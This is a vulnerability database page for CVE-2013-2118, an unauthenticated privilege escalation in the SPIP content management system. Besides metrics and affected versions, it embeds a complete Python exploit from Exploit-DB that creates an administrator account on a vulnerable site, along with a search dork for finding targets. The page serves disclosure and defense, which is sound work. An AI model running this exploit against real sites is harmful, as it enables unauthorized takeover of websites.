CVE-2013-2118 : Detail

CVE-2013-2118

4.01%V3
Network
2013-07-09
17h00 +00:00
2024-09-16
23h05 +00:00
CVE.org
NVD
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

SPIP 3.0.x before 3.0.9, 2.1.x before 2.1.22, and 2.0.x before 2.0.23 allows remote attackers to gain privileges and "take editorial control" via vectors related to ecrire/inc/filtres.php.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE Other No informations.

Metrics

Metrics Score Severity CVSS Vector Source
V2 7.5 AV:N/AC:L/Au:N/C:P/I:P/A:P nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 33425

Publication date : 2014-05-18 22h00 +00:00
Author : Gregory Draperi
EDB Verified : No

#!/usr/bin/env python # Exploit Title: SPIP - CMS < 3.0.9 / 2.1.22 / 2.0.23 - Privilege escalation to administrator account from non authenticated user # Date: 04/30/2014 # Flaw finder : Unknown # Exploit Author: Gregory DRAPERI # Email: gregory |dot| draperi |at| gmail |dot| com # Google Dork : inurl="spip.php" # Vendor Homepage: www.spip.net # Software Link: http://files.spip.org/spip/archives/ # Version: SPIP < 3.0.9 / 2.1.22 / 2.0.23 # Tested on: Windows 7 - SPIP 2.2.21 # CVE : CVE-2013-2118 ''' --------------------------------------------------------------------------------------------------------- Software Description: SPIP is a free software content management system --------------------------------------------------------------------------------------------------------- Vulnerability Details: This vulnerability allows remote attackers to create an administrator account on the CMS without being authenticated. To exploit the flaw, a SMTP configuration has to be configured on SPIP because the password is sent by mail. ''' import urllib, urllib2 import cookielib import sys import re def send_request(urlOpener, url, post_data=None): request = urllib2.Request(url) url = urlOpener.open(request, post_data) return url.read() if len(sys.argv) < 4: print "SPIP < 3.0.9 / 2.1.22 / 2.0.23 exploit by Gregory DRAPERI\n\tUsage: python script.py <SPIP base_url> <login> <mail>" exit() base_url = sys.argv[1] login = sys.argv[2] mail = sys.argv[3] cookiejar = cookielib.CookieJar() urlOpener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cookiejar)) formulaire = send_request(urlOpener, base_url+"/spip.php?page=identifiants&mode=0minirezo") print "[+] First request sended..." m = re.search("<input name='formulaire_action_args' type='hidden'\n[^>]*", formulaire) m = re.search("(?<=value=')[\w\+/=]*",m.group(0)); formulaire_data = {'var_ajax' : 'form', 'page' : 'identifiants', 'mode' : '0minirezo', 'formulaire_action' : 'inscription', 'formulaire_action_args' : m.group(0), 'nom_inscription' : login, 'mail_inscription' : mail, 'nobot' : '' } formulaire_data = urllib.urlencode(formulaire_data) send_request(urlOpener, base_url+"/spip.php?page=identifiants&mode=0minirezo", formulaire_data) print "[+] Second request sended" print "[+] You should receive an email with credentials soon :) "

Products Mentioned

Configuraton 0

Spip>>Spip >> Version 3.0.0

Spip>>Spip >> Version 3.0.1

Spip>>Spip >> Version 3.0.2

Spip>>Spip >> Version 3.0.3

Spip>>Spip >> Version 3.0.4

Spip>>Spip >> Version 3.0.5

Spip>>Spip >> Version 3.0.6

Spip>>Spip >> Version 3.0.7

Spip>>Spip >> Version 3.0.8

Configuraton 0

Spip>>Spip >> Version 2.1.1

Spip>>Spip >> Version 2.1.2

Spip>>Spip >> Version 2.1.3

Spip>>Spip >> Version 2.1.4

Spip>>Spip >> Version 2.1.5

Spip>>Spip >> Version 2.1.6

Spip>>Spip >> Version 2.1.7

Spip>>Spip >> Version 2.1.8

Spip>>Spip >> Version 2.1.9

Spip>>Spip >> Version 2.1.10

Spip>>Spip >> Version 2.1.11

Spip>>Spip >> Version 2.1.12

Spip>>Spip >> Version 2.1.13

Spip>>Spip >> Version 2.1.14

Spip>>Spip >> Version 2.1.15

Spip>>Spip >> Version 2.1.16

Spip>>Spip >> Version 2.1.17

Spip>>Spip >> Version 2.1.18

Spip>>Spip >> Version 2.1.19

Spip>>Spip >> Version 2.1.20

Spip>>Spip >> Version 2.1.21

Configuraton 0

Spip>>Spip >> Version 2.0.0

Spip>>Spip >> Version 2.0.1

Spip>>Spip >> Version 2.0.2

Spip>>Spip >> Version 2.0.3

Spip>>Spip >> Version 2.0.4

Spip>>Spip >> Version 2.0.5

Spip>>Spip >> Version 2.0.6

Spip>>Spip >> Version 2.0.7

Spip>>Spip >> Version 2.0.8

Spip>>Spip >> Version 2.0.9

Spip>>Spip >> Version 2.0.10

Spip>>Spip >> Version 2.0.11

Spip>>Spip >> Version 2.0.12

Spip>>Spip >> Version 2.0.13

Spip>>Spip >> Version 2.0.14

Spip>>Spip >> Version 2.0.15

Spip>>Spip >> Version 2.0.16

Spip>>Spip >> Version 2.0.17

Spip>>Spip >> Version 2.0.18

Spip>>Spip >> Version 2.0.19

Spip>>Spip >> Version 2.0.20

Spip>>Spip >> Version 2.0.21

Spip>>Spip >> Version 2.0.22

References

http://www.openwall.com/lists/oss-security/2013/05/27/2
Tags : mailing-list, x_refsource_MLIST
http://www.debian.org/security/2013/dsa-2694
Tags : vendor-advisory, x_refsource_DEBIAN